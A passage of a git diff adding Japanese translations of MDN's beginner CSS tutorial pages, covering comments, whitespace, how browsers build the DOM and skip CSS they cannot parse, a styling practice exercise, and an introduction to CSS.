class="blockIndicator warning"> +<p><strong>警告</strong>: CSS の一括指定を使用する際に、省略した値がどのようにリセットされるかはあまり目立たない側面です。 CSS 一括指定で指定されていない値は初期値に戻ります。これは、 CSS 一括指定で省略された値は、<strong>以前に設定された値を上書きしてしまう</strong>可能性があることを意味します。</p> +</div> + +<h2 id="Comments" name="Comments">コメント</h2> + +<p>どんなコーディング作業でもそうですが、 CSS と一緒にコメントを書くのがベストプラクティスです。これは、後で修正や強化のために戻ってきたときに、コードがどのように動作するかを思い出すのに役立ちます。また、他の人がコードを理解するのにも役立ちます。</p> + +<p>CSS のコメントは <code>/*</code> で始まり <code>*/</code> で終わります。以下の例では、コメントはコードのそれぞれの区間のの先頭をマークしています。これは、コードベースが大きくなるにつれて、コードベースを移動するのに役立ちます。このようなコメントの付け方をすると、コードエディターでコメントを検索することで、コードの区間を効率的に見つけることができます。</p> + +<pre class="brush: css notranslate">/* 基本的な要素のスタイル付けを扱う */ +/* -------------------------------------------------------------------------------------------- */ +body { + font: 1em/150% Helvetica, Arial, sans-serif; + padding: 1em; + margin: 0 auto; + max-width: 33em; +} + +@media (min-width: 70em) { + /* 大きな画面やウィンドウで読みやすいように、グローバルフォントの大きさを + 大きくします。 */ + body { + font-size: 130%; + } +} + +h1 {font-size: 1.5em;} + +/* DOM で入れ子になっている特定の要素を処理します。 */ +/* -------------------------------------------------------------------------------------------- */ +div p, #id:first-line { + background-color: red; + border-radius: 3px; +} + +div p { + margin: 0; + padding: 1em; +} + +div p + p { + padding-top: 0; +}</pre> + +<p>コードを「コメントアウト」すると、試験的にコードの区間を一時的に無効にするのにも便利です。以下の例では、 <code>.special</code> の規則はコードを「コメントアウト」することで無効化されています。</p> + +<pre class="brush: css notranslate">/*.special { + color: red; +}*/ + +p { + color: blue; +}</pre> + +<p><strong>CSS にコメントを追加してみましょう。</strong></p> + +<h2 id="White_space" name="White_space">ホワイトスペース</h2> + +<p>ホワイトスペースとは、半角スペース、タブ、改行を意味します。ブラウザーが HTML のホワイトスペースを無視するように、ブラウザーは CSS の中のホワイトスペースを無視します。ホワイトスペースの価値は、読みやすさを向上させるためにあります。</p> + +<p>下の例では、それぞれの宣言 (と規則の先頭/末尾) が個別の行で行われています。これは間違いなく、CSS を書くのに良い方法です。これにより、CSS の保守や理解が容易になります。</p> + +<pre class="brush: css notranslate">body { + font: 1em/150% Helvetica, Arial, sans-serif; + padding: 1em; + margin: 0 auto; + max-width: 33em; +} + +@media (min-width: 70em) { + body { + font-size: 130%; + } +} + +h1 { + font-size: 1.5em; +} + +div p, +#id:first-line { + background-color: red; + border-radius: 3px; +} + +div p { + margin: 0; + padding: 1em; +} + +div p + p { + padding-top: 0; +} +</pre> + +<p id="Very_compact">次の例は、同等の CSS をより圧縮したものです。2つの例は同じように動作しますが、下の例の方が読みにくいでしょう。</p> + +<pre class="brush: css notranslate">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} +@media (min-width: 70em) { body {font-size: 130%;} } + +h1 {font-size: 1.5em;} + +div p, #id:first-line {background-color: red; border-radius: 3px;} +div p {margin: 0; padding: 1em;} +div p + p {padding-top: 0;} +</pre> + +<p>自分のプロジェクトでは、個人的な好みに応じてコードを書式化します。チームプロジェクトでは、チームやプロジェクトに独自のスタイルガイドがあるかもしれません。</p> + +<div class="blockIndicator warning">。 +<p><strong>重要:</strong> CSS 宣言ではホワイトスペースが値を区切っていますが、<strong>プロパティ名にホワイトスペースが含まれることはありません。</strong></p> +<strong> </strong></div> + +<p><strong>例えば、以下の宣言は正しい CSS です。</strong></p> + + + +<pre class="brush: css notranslate"><strong>margin: 0 auto; +padding-left: 10px;</strong></pre> + +<p><strong>次の例は誤ったCSSです:</strong></p> + +<pre class="brush: css notranslate"><strong>margin: 0auto; +padding- left: 10px;</strong></pre> + +<p><strong><code>0auto</code> という書き方をブラウザは正しい値と解釈してくれません。なぜなら、<code>margin</code> プロパティの値 <code>0</code>、および <code>auto</code> はふたつの別々の値だからです。<code>padding-</code>もまた、ブラウザが認識できる正しいプロパティ名ではありません。</strong></p> + +<p><strong>CSSのプロパティに対する複数の値どうしを区別するためには、最低でも1個以上の空白をあいだにおく必要があります。また、プロパティの名称や値のひとつひとつは、その一部分だけを切り離したりせず続けて書かなければなりません。</strong></p> + +<p><strong><strong>自分のCSSのなかで空白をさまざまに入れてみて、どうすればCSSが正しく機能して、どうすれば機能しなくなるかたしかめてみましょう。</strong></strong></p> + +<h2 id="Whats_next" name="Whats_next"><strong>次のステップ</strong></h2> + +<p><strong>ブラウザがHTMLやCSSを解釈してウェブページに作り替えていくながれを多少なりとも知っておくことは開発の役にたちます。そこで、次の記事 「<a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">CSS はどう働くか？」 </a> では、ブラウザがWebページを生成する過程についてみていきましょう。</strong></p> + +<p><strong>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</strong></p> + +<h2 id="In_this_module" name="In_this_module"><strong>このモジュール内</strong></h2> + +<ol> + <li><strong><a href="/ja/docs/Learn/CSS/First_steps/What_is_CSS">CSS とは何か？</a></strong></li> + <li><strong><a href="/ja/docs/Learn/CSS/First_steps/Getting_started">CSS 入門</a></strong></li> + <li><strong><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS の全体像</a></strong></li> + <li><strong><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">CSS はどう働くか？</a></strong></li> + <li><strong><a href="/ja/docs/Learn/CSS/First_steps/Using_your_new_knowledge">新しい知識を使う</a></strong></li> +</ol> diff --git a/files/ja/learn/css/first_steps/how_css_works/index.html b/files/ja/learn/css/first_steps/how_css_works/index.html new file mode 100644 index 0000000000..6044a3c29a --- /dev/null +++ b/files/ja/learn/css/first_steps/how_css_works/index.html @@ -0,0 +1,164 @@ +--- +title: CSS はどう働くか？ +slug: Learn/CSS/First_steps/How_CSS_works +tags: + - Beginner + - CSS + - DOM + - Learn +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<p>{{LearnSidebar}}<br> + {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> + +<p class="summary">CSS の基本と目的、簡単なスタイルシートの書き方を学んできました。このレッスンでは、ブラウザーが CSS と HTML を実際にウェブページとして表示していくさまを見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、 <a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされていること</a>、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの操作方法</a>についての基本的な知識、HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 概論</a>を学習のこと)。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td> + <p>ブラウザーが CSS と HTML を解析する方法、およびブラウザーが解釈できない CSS に遭遇したときに何が起こるかを理解する。</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="How_does_CSS_actually_work" name="How_does_CSS_actually_work">CSS は実際にはどう機能するのか？</h2> + +<p><font>ブラウザーがドキュメントを表示するとき、ブラウザーはそのコンテンツをスタイル情報と結合する必要があります。</font><font>以下にリストしたいくつかの段階でドキュメントが処理されます。</font><font>これはブラウザーがウェブページを読み込むときに起こることを単純化したものであり、各ブラウザーで処理は異なるものの、おおよそ何が起こるかを示しています。</font></p> + +<ol> + <li>ブラウザーが HTML をロードします（ネットワークから受信するなど）。</li> + <li>{{Glossary("HTML")}} が {{Glossary("DOM")}} (<em>Document Object Model</em>) に変換されます。DOM はコンピューターのメモリー内のドキュメントです。次のセクションで詳述します。</li> + <li><font>その後ブラウザーは埋め込まれた画像やビデオなどの HTML ドキュメントにリンクされているリソースと CSS を取得します。</font><font>JavaScript はもう少し後に処理されるため、ここでは簡略化のため説明しません。</font></li> + <li><font>ブラウザーは取得した CSS を解析し、要素、クラス、ID などセレクタの種類ごとに分類します。見つけたセレクターに基づいて、DOM のどのノードにどのルールを適用するかを決定し、スタイルを適用します（この中間ステップはレンダーツリーと呼ばれます）。</font></li> + <li>レンダーツリーは、ルール適用後の構造にレイアウトされます。</li> + <li>ページが画面に表示されます（この段階はペイントと呼ばれます）。</li> +</ol> + +<p>簡単に図に表すと次のとおりです。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/11781/rendering.svg" style="height: auto; max-width: 635px; width: 100%;"></p> + +<h2 id="About_the_DOM" name="About_the_DOM">DOM について</h2> + +<p><font><font>DOM にはツリーのような構造があります。</font><font>マークアップの各要素、属性、およびテキスト</font><font>は、ツリー構造の </font></font>{{Glossary("Node/DOM","DOM ノード")}} <font><font>になります。</font><font>ノードは他の DOM ノードとの関係によって定義されます。</font><font>要素は子ノードの親であり、子ノードには兄弟があります。</font></font></p> + +<p><font>DOM は CSS とドキュメントのコンテンツが出会う場所であるため、DOM を理解すると CSS の設計、デバッグ、および保守に役立ちます。</font><font>ブラウザーの開発者ツールによって、どのルールが適用されるかを確認するために、アイテムを選択することで DOM にナビゲートされます。</font></p> + +<h2 id="A_real_DOM_representation" name="A_real_DOM_representation">DOM の実際</h2> + +<p>長く退屈な説明ではなく、例を用いて実際の HTML が DOM に変換される様子を見てみましょう。</p> + +<p>以下のような HTML があります。</p> + +<pre class="brush: html notranslate"><p> + Let's use: + <span>Cascading</span> + <span>Style</span> + <span>Sheets</span> +</p> +</pre> + +<p><font><font>この場合 DOM では </font></font><code><p></code><font><font> 要素が親ノードです。子には、テキストノードと 3 つの </font></font><code><span></code><font><font> 要素をノードとして</font></font><font><font>持ちます。一方で </font></font><code>SPAN</code><font><font> ノードは親でもあり、テキストノードを子に持ちます。</font></font></p> + +<pre class="notranslate">P +├─ "Let's use:" +├─ SPAN +| └─ "Cascading" +├─ SPAN +| └─ "Style" +└─ SPAN + └─ "Sheets" +</pre> + +<p>ブラウザーは上述の HTML をこのように解釈し、DOM ツリーを以下のようにレンダリングし出力します。</p> + +<p>{{EmbedLiveSample('A_real_DOM_representation', '100%', 55)}}</p> + +<div class="hidden"> +<pre class="brush: css notranslate">p {margin:0;}</pre> +</div> + +<h2 id="Applying_CSS_to_the_DOM" name="Applying_CSS_to_the_DOM">DOM への CSS 適用</h2> + +<p>ドキュメントに CSS を追加して、スタイルを設定したとします。先ほどと同じ以下の HTML を使います。</p> + +<pre class="brush: html notranslate"><p> + Let's use: + <span>Cascading</span> + <span>Style</span> + <span>Sheets</span> +</p></pre> + +<p>CSS は以下のものを適用します。</p> + +<pre class="brush: css notranslate">span { + border: 1px solid black; + background-color: lime; +}</pre> + +<p><font><font>ブラウザーは HTML 解析によって DOM を作成したのちに、CSS を解析します。CSS には唯一 </font></font><code>span</code><font><font> セレクターしかないため、ブラウザーは CSS を非常に迅速にソートできます。<br> + 3 つ の </font></font><code><span></code><font><font> </font><font>にそのルールを適用し</font><font>、最終的な視覚的表現を画面にペイントします。</font></font></p> + +<p><font><font>結果、次のとおり出力されます。</font></font></p> + +<p>{{EmbedLiveSample('Applying_CSS_to_the_DOM', '100%', 55)}}</p> + +<p>次のモジュールの <a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a> ではブラウザーの開発者ツールを使用した CSS のデバッグと、ブラウザーが CSS を解釈する方法について詳しく学習します。</p> + +<h2 id="What_happens_if_a_browser_encounters_CSS_it_doesnt_understand" name="What_happens_if_a_browser_encounters_CSS_it_doesnt_understand">ブラウザーが解釈できない CSS に遭遇したらどうなるのか？</h2> + +<p><a href="/ja/docs/Learn/CSS/First_steps/What_is_CSS#Browser_support">以前のレッスン</a>では、<font>ブラウザーがすべての新しい CSS を実装するわけではないことを述べました。また</font><font>多くの人が最新バージョンのブラウザーを使用しているわけでもありません。</font><font>CSS は常に開発されており、ブラウザーがまだ認識できないような CSS セレクターや宣言に遭遇するとどうなるか疑問に思われるかもしれません。</font><br> + <br> + その答えは何もせず、CSS の次の部分に移動するということです。</p> + +<p><font>ブラウザーがルールを解析しているときに、理解できないプロパティまたは値に遭遇した場合、ブラウザーはそれを無視して次の宣言に進みます。こういうことは、</font><font>プロパティまたは値のスペルが間違っている場合や、プロパティまたは値が新しすぎてブラウザーがまだサポートしていない場合に起こりえます。</font></p> + +<p>同様に、ブラウザーが理解できないセレクターを検出した場合もそのルール全体を無視し、次のルールに進みます。</p> + +<p><font>次の例では、色にイギリス英語のスペルを使用しているため、プロパティが正しくありません（訳注: color を誤って colour としてしまっている）。よって段落は青くなっていません。ただし、他の CSS はすべて適用されています。</font><font>無効な行のみが無視されます。</font></p> + +<div id="Skipping_example"> +<pre class="brush: html notranslate"><p> I want this text to be large, bold and blue.</p></pre> + +<pre class="brush: css notranslate">p { + font-weight: bold; + colour: blue; /* colorプロパティのスペルが正しくありません */ + font-size: 200%; +}</pre> +</div> + +<p>{{EmbedLiveSample('Skipping_example', '100%', 200)}}</p> + +<p><font>この動作は非常に有用です。ブラウザが新しい CSS を理解しないとしてもエラーは発生しないということを理解した上で、新しい CSS を拡張機能として使用できるということを意味します。ブラウザーは新しい機能を取得するかしないかのどちらかになります。</font>カスケードが機能する方法と、同じ特定性を持つ2つのルールがある場合、ブラウザはスタイルシートの中で出会った最後の CSS を使うという事実と相まって、新しい CSS をサポートしていないブラウザにも代替案を提供することができます。</p> + +<p><font><font>とりわけ新しいゆえに必ずしもサポートされているというわけではない、という値を使用する場合に有用です。例えば、一部の古いブラウザーは </font></font><code>calc()</code><font><font> をサポート</font><font>して</font><font>いません</font><font>。ボックスに対して予防的にピクセル単位の幅を指定しておき、その後 </font></font><code>calc()</code><font><font> で </font></font><code>100% - 50px</code><font><font> の幅を指定した場合、</font></font><font><font>古いブラウザーは前者（ピクセル指定）を使用し、理解できない </font></font><code>calc()</code><font><font> を無視します。かたや新しいブラウザーはピクセル指定を理解はできるものの、あとに記述された </font></font><code>calc()</code><font><font> の方を採用します</font><font>。</font></font></p> + +<pre class="brush: css notranslate">.box { + width: 500px; + width: calc(100% - 50px); +}</pre> + +<p>以降のレッスンで、さまざまなブラウザーをサポートするための多くの方法を検討していきます。</p> + +<h2 id="And_finally" name="And_finally">最後に</h2> + +<p>このモジュールはほぼ完了です。ただしもうひとつだけやっておいてほしいことがあります。次の記事の<a href="/ja/docs/Learn/CSS/First_steps/Using_your_new_knowledge">新しい知識を使う</a>にて実際のスタイリングをとおして CSS の腕試しをおこないます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/First_steps/What_is_CSS">CSS とは何か？</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Getting_started">CSS 入門</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS の構造化</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">CSS はどう働くか？</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Using_your_new_knowledge">新しい知識を使う</a></li> +</ol> diff --git a/files/ja/learn/css/first_steps/index.html b/files/ja/learn/css/first_steps/index.html new file mode 100644 index 0000000000..3a7a08cb48 --- /dev/null +++ b/files/ja/learn/css/first_steps/index.html @@ -0,0 +1,53 @@ +--- +title: CSS の第一歩 +slug: Learn/CSS/First_steps +tags: + - Beginner + - CSS + - Landing + - Learn + - Module + - first steps +translation_of: Learn/CSS/First_steps +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">CSS (Cascading Style Sheets) はウェブページをスタイリングしたりレイアウトしたりするのに使われます — 例えば、文字、色、大きさを変えたり、コンテンツに余白を設けたり、複数列に分けたり、あるいはアニメーションを加えたりなど様々な装飾機能があります。このモジュールでは CSS を習得するために、どう働くかの基本とともに、構文のありかたと HTML にスタイリングを加えることを簡単な始め方を提供します。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを始める前に、次の状態になっておくべきです。</p> + +<ol> + <li>コンピューターの使い方と (ウェブを見たりコンテンツを消費したりといった)ウェブの受動的な使い方に関する基本的な知識に慣れ親しんでいること。</li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>で説明されている基本的な作業環境と、<a href="https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い方</a>で説明されているファイルの作り方や管理の仕方について理解していること。</li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>で説明されている HTML についての基礎知識に慣れ親しんでいること。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 自分自身でファイルを作れない環境 (タブレットやその他の端末) で作業する場合、(ほとんどの) コードサンプルは <a href="http://jsbin.com/">JSBin</a> や <a href="https://glitch.com/">Glitch</a> といったオンラインコーディングプログラムで試すことが可能です。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<p>このモジュールには、CSS についてすべての基本的なことがらと、いくつかのスキルをテストできる次の記事が含まれています。</p> + +<dl> + <dt><a href="https://developer.mozilla.org/ja/docs/Learn/CSS/First_steps/What_is_CSS">CSS とは何か？</a></dt> + <dd><strong>{{Glossary("CSS")}}</strong> (Cascading Style Sheets; カスケーティングスタイルシート) は見栄えのよいウェブページを作ることができますが、背後ではどのように動いているのでしょうか？この記事では CSS について、簡単なコードの例とこの言語の主要な項目を説明します。</dd> + <dt><a href="/ja/docs/Learn/CSS/First_steps/Getting_started">CSS 入門</a></dt> + <dd>この記事では、簡単な HTML コードに CSS を適用させ、その過程でこの言語についての実用的なことを学びます。</dd> + <dt><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS の全体像</a></dt> + <dd>CSS の概要と使用方法の基本について理解できたので、今度は言語自体の構造をもう少し詳しく見てみましょう。ここで説明した概念の多くはすでに目にしています。あとに出てくる概念がわかりにくい場合は、ここに戻って見直してしてください。</dd> + <dt><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">CSS はどう働くか？</a></dt> + <dd>CSS の基本とその目的、そして簡単なスタイルシートの書き方を学びました。このレッスンでは CSS と HTML がブラウザーにどう働いてウェブページにするかを見ていきます。</dd> + <dt><a href="/ja/docs/Learn/CSS/First_steps/Using_your_new_knowledge">新しい知識を使う</a></dt> + <dd>過去数回のレッスンで学んだことから、CSS で単純なテキスト文書をフォーマットし、独自のスタイルを追加できることがわかります。この記事ではそれを行う機会を提供します。</dd> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="https://teach.mozilla.org/activities/intermediate-web-lit/">Intermediate Web Literacy 1: Intro to CSS</a></dt> + <dd>本記事で説明した <em>CSS 入門</em> スキルを確認およびテストするのにちょうどいい Mozilla 基礎コース。セレクター、属性、値などを使った HTML 要素のスタイリングを学べます。</dd> +</dl> diff --git a/files/ja/learn/css/first_steps/using_your_new_knowledge/index.html b/files/ja/learn/css/first_steps/using_your_new_knowledge/index.html new file mode 100644 index 0000000000..d404a70bbf --- /dev/null +++ b/files/ja/learn/css/first_steps/using_your_new_knowledge/index.html @@ -0,0 +1,100 @@ +--- +title: 新しい知識を使う +slug: Learn/CSS/First_steps/Using_your_new_knowledge +tags: + - Beginner + - CSS + - Learn + - Playground +translation_of: Learn/CSS/First_steps/Using_your_new_knowledge +--- +<p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> + +<p class="summary">先のいくつかのレッスンで、あなたは CSS を使ってシンプルなテキストドキュメントにスタイルを追加してフォーマットする方法を学びました。ここでは、それを実際に行ってみましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基礎コンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイル操作</a>の基礎知識 HTML の基礎 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の入門</a>で学ぶ)、CSS の基礎(このモジュールの残り)</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>いくつかの CSS を試し、知識レベルを確認します</td> + </tr> + </tbody> +</table> + +<h2 id="Lets_play_with_some_CSS" name="Let's_play_with_some_CSS">さあ始めよう</h2> + +<p>下の Live エディタで試すこともできますし、<a href="https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/">我々の Github リポジトリ</a>からサンプルファイルをダウンロードして試してみることもできます。ここで使うサンプルはシンプルな一ページの HTML で、頭にはとりあえずシンプルな CSS が埋め込まれています。もしローカルで動かすとき HTML と CSS が一緒になっているのが嫌だったら別々のファイルに分割しても構いません。あるいは、<a href="https://codepen.io/" rel="noopener">CodePen</a> や <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>、<a href="https://glitch.com/" rel="noopener">Glitch </a>といったオンラインエディタを使うこともできます。</p> + +<div class="blockIndicator note"> +<p>注記: もし途中で詰まったら、私達に気兼ねなく相談してください！詳しくはこの記事の一番下にある「アセスメントとさらなるヘルプ」の部分を見てください。</p> +</div> + +<h2 id="Lets_play_with_some_CSS" name="Let's_play_with_some_CSS">CSS を少し試してみよう</h2> + +<p>下のサンプルは、CSS でスタイルされたプロフィールページの例です。ここで使われているプロパティは次の通りです。これらについてはそれぞれリンクから MDN の記事に飛べますので、プロパティの詳細な説明についてはそちらをご参照ください。</p> + +<ul> + <li>{{cssxref("font-family")}}</li> + <li>{{cssxref("color")}}</li> + <li>{{cssxref("border-bottom")}}</li> + <li>{{cssxref("font-weight")}}</li> + <li>{{cssxref("font-size")}}</li> + <li>{{cssxref("text-decoration")}}</li> +</ul> + +<p>下のプロフィールページでは、いろんなセレクタを使ったり、h1要素や h2要素などの装飾要素を使ったりしただけでなく、職業を表す部分ではクラスを定義してデザインを設定しました。</p> + +<p>プロパティの値をいろいろに変えて見た目がどう変わるか試してみましょう。</p> + +<ol> + <li>見出し 1 の文字色をピンクに変えてみましょう。色の指定には <code>hotpink</code> を使うとよいでしょう。</li> + <li>見出し 1 の下に太さ 10px の点線をつけてみましょう。そしてその色を <code>purple</code> にしてみましょう。</li> + <li>見出し 2 の書体をイタリックに変えてみましょう。</li> + <li>連絡先情報の部分で使われている <code>ul</code> 要素の {{cssxref("background-color")}} を <code>#eeeeee</code> にして、{{cssxref("border")}} を太さ 5px の紫の線に変えてみましょう。また、{{cssxref("padding")}} を指定してコンテンツと連絡先情報の部分にスペースが空くように設定しましょう。</li> + <li>リンクの部分にマウスが乗ったとき、リンクが <code>green</code> に変わるように設定しましょう。</li> +</ol> + +<p>完成したら次の画像のようになるはずです。</p> + +<p><img alt="" src="https://media.prod.mdn.mozit.cloud/attachments/2019/12/31/17035/da8ff2a04da214e57e18a6ea3ac6832e/learn-css-basics-assessment.png" style="height: 1199px; width: 1104px;"></p> + +<p>それから、このページに書かれていない属性をみてみましょう。<a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/Reference">MDN の CSS リファレンス</a> には冒険が待っています!</p> + +<p>ここには間違った回答はないことを覚えていてください — ここではいろいろ試して楽しみながら学びましょう。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} </p> + +<h2 id="Whats_next" name="What's_next">アセスメントとさらなるヘルプ</h2> + +<p>作ったものを見てほしいときや、作業に詰まってしまって質問をしたいとき：</p> + +<ol> + <li>あなたが作ったものを <a href="https://codepen.io/" rel="noopener">CodePen</a> や <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>、<a href="https://glitch.com/" rel="noopener">Glitch</a> などのコード共有サービスに公開してください。</li> + <li>添削の依頼あるいは訊きたいことを <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> に投稿してください。ここに投稿するときには次のことを忘れないようにしてください。 + <ul> + <li>タイトルは何についての質問か分かるように、「Assessment wanted for CSS First Steps」のようにしてください。</li> + <li>添削や質問を依頼したいコードへのリンクを貼ってください。ソースコードを示してもらわないとこちらもどうサポートしたらよいかがわからないからです。</li> + <li>どの課題に取り組んでいるのか分かるように課題へのリンクを貼ってください。そうしていただけるとあなたがどこで躓いているのか知ることができます。</li> + </ul> + </li> +</ol> + +<h2 id="Whats_next" name="What's_next">次のステップ</h2> + +<p>最初のモジュールを修了しました。おめでとうございます。あなたはもう CSS の基本的な部分は理解できたはずです。そして、スタイルシートの挙動が分かるようになったはずです。次のモジュール、<a href="/ja/docs/Learn/CSS/Building_blocks">CSS ブロック構築</a>ではいくつかの重要な部分を深く見ていきましょう。</p> + +<p>{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/First_steps/What_is_CSS">What is CSS?</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Getting_started">Getting started with CSS</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_is_structured">How CSS is structured</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">How CSS works</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Using your new knowledge</a></li> +</ol> diff --git a/files/ja/learn/css/first_steps/what_is_css/index.html b/files/ja/learn/css/first_steps/what_is_css/index.html new file mode 100644 index 0000000000..0d7d6f3cd3 --- /dev/null +++ b/files/ja/learn/css/first_steps/what_is_css/index.html @@ -0,0 +1,129 @@ +--- +title: CSSとは何か？ +slug: Learn/CSS/First_steps/What_is_CSS +tags: + - Beginner + - CSS + - Introduction to CSS + - Learn + - Modules + - Specifications + - Syntax +translation_of: Learn/CSS/First_steps/What_is_CSS +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</div> + +<p class="summary"><strong>{{Glossary("CSS")}}</strong> (Cascading Style Sheets；カスケーティングスタイルシート) は見栄えのよいページを作ることができますが、内部ではどう働くのでしょうか？この記事では簡単な構文の例とともに CSS とは何かについて説明し、この言語の重要な用語についても触れます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>基本的なコンピューターリテラシー、 <a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされていること</a>、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの操作方法</a>についての基本的な知識、HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML概論</a>を学習のこと)。</p> + </td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS とは何かを学ぶ。</td> + </tr> + </tbody> +</table> + +<p><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 概論</a> では HTML について触れ、文書をどのようにマークアップするかを学びました。この文書はウェブブラウザーで読むことができます。見出しは普通のテキストより大きく見え、段落はあたらしい行に分けられ、それらの間には空白が入ります。リンクはほかのテキストと区別するために色付きで下線が引かれています。これらはブラウザーによるデフォルトのスタイリングです。ページの作者がスタイリングしていなくても読みやすくなるようにブラウザーが HTML に適用するとても基本的なスタイルです。</p> + +<p><img alt="The default styles used by a browser" src="https://mdn.mozillademos.org/files/16493/html-example.png" style="border: 1px solid #cccccc; height: 594px; width: 1385px;"></p> + +<p>しかし、ウェブサイトみんながこのような見た目では退屈でしょう。CSS をつかうとブラウザー内で HTML 要素をどう見せるかはっきりと制御できるようになり、マークアップを好きなように表現できます。</p> + +<h2 id="What_is_CSS_for" name="What_is_CSS_for">CSS の目的</h2> + +<p>前述のように、CSS は文書を（スタイルやレイアウトを）どのように表現するか指定する言語です。</p> + +<p><strong>文書</strong> は普通、マークアップ言語をつかって構造化されたテキストファイルです。{{Glossary("HTML")}} がもっとも一般的な マークアップ言語ですが、{{Glossary("SVG")}} や {{Glossary("XML")}}も出会うことがあります。</p> + +<p>文書を <strong>表現する</strong> とは、それを使いやすいフォームに変換することを意味します。{{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}}, あるいは {{Glossary("Microsoft Edge","Edge")}} といった{{Glossary("ブラウザー","ブラウザー")}} はコンピューター画面やプロジェクター、あるいはプリンタで印刷される文書が視覚的に表現されるよう設計されています。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: ブラウザーは時に{{Glossary("User agent","user agent ユーザーエージェント")}} と呼ばれますが、基本的に人に似せたコンピュータープログラムを意味します。CSS について語る時、ブラウザーは代表的なユーザーエージェントですが、それだけではありません。HTML と CSS 文書を印刷できる PDF に変換するようなユーザーエージェントもあります。</p> +</div> + +<p>CSS は、例えば見出しやリンクの <a href="/ja/docs/Web/CSS/color_value">色</a> や <a href="/ja/docs/Web/CSS/font-size">フォントサイズ</a>の変更といったごく基本的なテキストのスタイリングでもつかえます。例えば、<a href="/ja/docs/Web/CSS/Layout_cookbook/Column_layouts">一列のテキストをレイアウトして</a>メインコンテンツ領域と関連情報のためのサイドバーに分けるといった、レイアウト作成に使うこともできます。<a href="/ja/docs/Web/CSS/CSS_Animations">アニメーション</a>のような効果も使えます。それぞれの例はこの段落のリンクをご覧ください。</p> + +<h2 id="CSS_syntax" 